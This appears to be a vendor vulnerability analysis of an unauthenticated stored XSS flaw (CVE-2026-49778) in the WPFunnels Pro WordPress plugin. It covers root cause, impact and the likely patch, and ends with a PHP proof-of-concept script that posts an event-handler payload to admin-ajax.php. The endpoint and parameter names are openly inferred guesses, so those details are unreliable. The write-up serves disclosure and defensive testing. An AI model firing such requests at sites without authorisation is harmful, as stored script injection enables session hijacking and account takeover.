Atomic Edge analysis of CVE-2026-49778 (metadata-based):
This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the WPFunnels Pro plugin for WordPress, version 2.9.4 and earlier. The vulnerability exists due to insufficient input sanitization and output escaping, enabling attackers to inject arbitrary JavaScript that executes when administrators or other users view the affected page.
The root cause is Improper Neutralization of Input During Web Page Generation (CWE-79). Based on the CWE and description, the plugin likely accepts user-supplied data through an AJAX handler, REST API endpoint, or form submission, then stores that data without sanitization (e.g., no use of wp_kses, sanitize_text_field, or similar). When the data is later rendered on a page, the plugin fails to escape output using functions like esc_html, esc_attr, or wp_kses_post. Since the vulnerability is exploitable by unauthenticated attackers, the vulnerable endpoint likely lacks both nonce verification and capability checks. Atomic Edge analysis infers these details from the vulnerability type; no code diff was available.
An unauthenticated attacker can exploit this by sending a crafted POST request to an AJAX handler such as /wp-admin/admin-ajax.php with an action parameter (e.g., wpfunnels_save_step_data or wpfunnels_save_form_entry) and a payload parameter containing malicious JavaScript. The payload might include an event handler like onmouseover or an img tag with an onerror attribute. Because no sanitization occurs, the payload gets stored in the WordPress database and executes in the browser of any user who views the funnel page.
The patch likely applies proper input sanitization to the vulnerable field (e.g., using sanitize_text_field or wp_kses_post for allowed HTML) and output escaping when the data is rendered (e.g., using esc_html or wp_kses_post). The patch may also add nonce verification and capability checks to the vulnerable endpoint to prevent unauthenticated access.
Successful exploitation allows attackers to inject arbitrary JavaScript into WordPress pages. This can lead to session hijacking, credential theft, defacement of funnel pages, redirection to malicious sites, or privilege escalation if an administrator views the injected page and the script creates a new admin user. The CVSS score of 7.2 (HIGH) reflects the low complexity, network attack vector, and changed scope affecting confidentiality and integrity.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-49778 - WPFunnels Pro <= 2.9.4 - Unauthenticated Stored Cross-Site Scripting
// Configurable target
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// The AJAX action used by WPFunnels Pro for saving funnel steps or form submissions.
// Inferred from common WPFunnels patterns and the vulnerability description.
$ajax_action = 'wpfunnels_save_step_data'; // May also be 'wpfunnels_save_form_entry' or similar
// The parameter name likely vulnerable to XSS. Inferred from the CWE and plugin functionality.
$parameter_name = 'step_title'; // Could also be 'step_content', 'form_field_label', etc.
// Malicious payload: stored XSS via onmouseover event
$payload = '<div onmouseover="alert(1)">Click me</div>';
// Build the POST data
$post_data = array(
'action' => $ajax_action,
$parameter_name => $payload,
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response:n" . $response . "n";
if ($http_code == 200) {
echo "[+] Payload sent successfully. Check the storage page for execution.n";
} else {
echo "[-] Request failed. The endpoint or parameter may differ. Try adjusting the AJAX action and parameter name.n";
}
